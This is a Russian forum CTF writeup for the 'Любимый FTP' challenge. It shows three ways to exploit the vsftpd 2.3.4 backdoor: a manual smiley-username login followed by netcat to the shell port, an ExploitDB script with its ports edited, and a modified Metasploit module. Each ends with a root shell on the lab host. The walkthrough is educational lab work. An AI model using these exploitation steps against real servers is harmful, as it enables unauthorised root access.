ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat - Любимый FTP [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642691)

ALT1RE 04.12.2023 17:43

Данная статья является райтапом на задание "Любимый FTP" из категории "Администрирование". В задании необходимо найти и использовать уязвимость в FTP-сервере vsftpd версии 2.3.4. Будет рассказано о процессе поиска уязвимости, применении эксплойта и получения доступа к системе. В качестве инструментов используются GitHub, ExploitDB и Metasploit.

Ссылка на задание: Игры Кодебай | CTF-платформа

https://forum.antichat.xyz/attachmen...1691944282.png

Анализ.
Прежде просканируем порты утилитой Nmap с опцией -А:

Bash:


Код:

└─$ nmap -A
62.173
.140.174 -p
10007,10008
Starting Nmap
7.94
(
https://nmap.org
)
at
2023
-12-04 07:22 EST
Nmap scan report
for
antichat
(
62.173
.140.174
)
Host is up
(
0
.032s latency
)
.

PORT      STATE    SERVICE VERSION
10007
/tcp
open
ftp
vsftpd
2.3
.4
10008
/tcp filtered octopus
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
7.40
seconds

Из результатов сканирования видим, что на 10007 порту работает ftp-сервер vsftpd версии 2.3.4.
Погуглим уязвимости для этой версии и на каком-нибудь сайте найдем такое описание:

Код:


Код:

В июле 2011 года было обнаружено, что версия vsftpd 2.3.4, которую можно загрузить с главного сайта, была скомпрометирована.
Пользователи, заходящие на взломанный сервер vsftpd-2.3.4, могут использовать смайлик :) в качестве имени пользователя и получить
командную оболочку на порту 6200. Это не было проблемой дыры в безопасности в vsftpd, вместо этого кто-то загрузил другую версию
vsftpd, который содержал бэкдор. С тех пор сайт был перенесен на Google App Engine.

Решение 1.
Попробуем подключиться к FTP-серверу.
Помним, что при вводе логина обязательно указать смайлик , пароль - любой.
Открываем терминал и подключаемся:

Bash:


Код:

└─$
ftp
62.173
.140.174
10007
Connected to
62.173
.140.174.
220
(
vsFTPd
2.3
.4
)
Name
(
62.173
.140.174:kali
)
: ALT1RE:
)
331
Please specify the password.
Password:

После ввода пароля сервер подвис и ничего не происходит. Проверим - вдруг он ожидает нас на 6200 порту.

Попробуем подключиться к нему во втором терминале:

Bash:


Код:

└─$
nc
62.173
.140.174
6200
(
UNKNOWN
)
[
62.173
.140.174
]
6200
(
?
)
:
Connection refused

Нет - там нас никто не ждет.

Вспоминаем, что в описании к заданию был дан еще один порт - 10008. Пробуем подключиться к нему:

Bash:


Код:

└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)

Вводим команду 'id' и понимаем что мы под рутом.

Осталось лишь найти флаг в каком-то файле и сдать его на площадке.
Формат флага: Antichat{eT0_nE_f1@g}

Решение 2.
Всего ранее описанного можно было не проделывать, а найти, например на exploit-db.com, готовый экплойт, ИССЛЕДОВАТЬ исходный код, отредактировать в нем порты (21=>10007, 6200=>10008) и запустить:

Bash:


Код:

└─$
wget
https://www.exploit-db.com/download/49757
└─$
sed
-i
's/21/10007/g'
49757
└─$
sed
-i
's/6200/10008/g'
49757
└─$ python3
49757
62.173
.140.174
/home/kali/49757:11: DeprecationWarning:
'telnetlib'
is deprecated and slated
for
removal
in
Python
3.13
from telnetlib
import
Telnet
Success, shell opened
Send
`exit`
to quit shell
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)

При возникновении проблем с версиями модуля telnetlib: типа "DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13" чтобы не вникать в зависимости, попробуйте найти другой эксплойт - например этот.
Скачайте его, посмотрите исходный код (ну мало ли что там) редактируем порты - вместо 21го 10007, вместо 6200 - 10008:

Bash:


Код:

└─$
nano
exploit.py
..
.
def __init__
(
self,ip,port
=
10007
)
:
..
.
..
.
io
=
remote
(
self.ip,
10008
)
..
.

Запустите и получите рута:

Bash:


Код:

└─$ python3 exploit.py
62.173
.140.174
[
+
]
Got Shell
!
!
!
[
+
]
Opening connection to
62.173
.140.174 on port
10007
: Done
[
*
]
Closed connection to
62.173
.140.174 port
10007
[
+
]
Opening connection to
62.173
.140.174 on port
10008
: Done
[
*
]
Switching to interactive mode
$
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)

Решение 3.
Хотите проэксплуатировать используя фреймворк Metasploit? - запускаем его и ищем подходящий эксплойт:

Bash:


Код:

msf6
>
search vsftpd

В базе метасплойта нашлось два эксплойта для vsftpd:

https://forum.antichat.xyz/attachmen...65a4b64cd0.png

Нам нужен эксплойт для версии 2.3.4 - выбираем:

Bash:


Код:

msf6
>
use
1
или
msf6
>
use exploit/unix/ftp/vsftpd_234_backdoor

Мы знаем, что ftp-сервер работает на порту 10007, адрес удаленного хоста 62.173.140.174 и при удачной эксплуатации сервер отдаст шелл на 10008 порт - зададим параметры эксплойта:

Bash:


Код:

set
RHOST
62.173
.140.174
set
RPORT
10007

Но куда вписывать 10008 порт?! - а некуда его указывать, в эксплойте не предусмотрена возможность редактировать порт для обратного шелла и при удачной эксплуатации он будет ожидать его на 6200 порту.
Ну и ладно - оставим как есть и запустим эксплойт командой "exploit":

https://forum.antichat.xyz/attachmen...5c3e2acace.png

После запуска Метасплойт сообщает "Эксплойт исполнен, но сессия не была создана" - оно и понятно, ведь он ожидал его не на том порту.

Я вижу два решения: редактировать эксплойт или подключиться Netcat'ом к нужному порту, ведь половина работы уже проделана и, возможно, сервер готов отдаться нам.

Пробуем неткатом - в новом терминале подключаемся к 10008 порту:

Bash:


Код:

└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)

Введя команду "id", видим что мы под рутом - забираем флаг.

Давайте теперь попробуем отредактировать эксплойт.
Переходим в каталог с исходным кодом нужного эксплойта и, например, в редакторе nano попробуем изменить порт:

Bash:


Код:

└─$
cd
/usr/share/metasploit-framework/modules/exploits/unix/ftp/
└─$
sudo
nano
vsftpd_234_backdoor.rb

Находим две строки:

Bash:


Код:

nsock
=
self.connect
(
false,
{
'RPORT'
=
>
6200
}
)
rescue nil

Меняем порт 6200 на 10008 в обоих. Должно получиться так:

Bash:


Код:

nsock
=
self.connect
(
false,
{
'RPORT'
=
>
10008
}
)
rescue nil

Перезапускаем metasploit и запускаем эксплойт (не забудьте настроить его):

https://forum.antichat.xyz/attachmen...68ae643aa1.png

Дальше находим флаг и сдаем его на площадке.

Андрей Неважный 05.12.2023 16:08

Отличный врайтап, всё по сути, никакой воды, я думаю для начинающих будет очень полезным.


Время: 19:08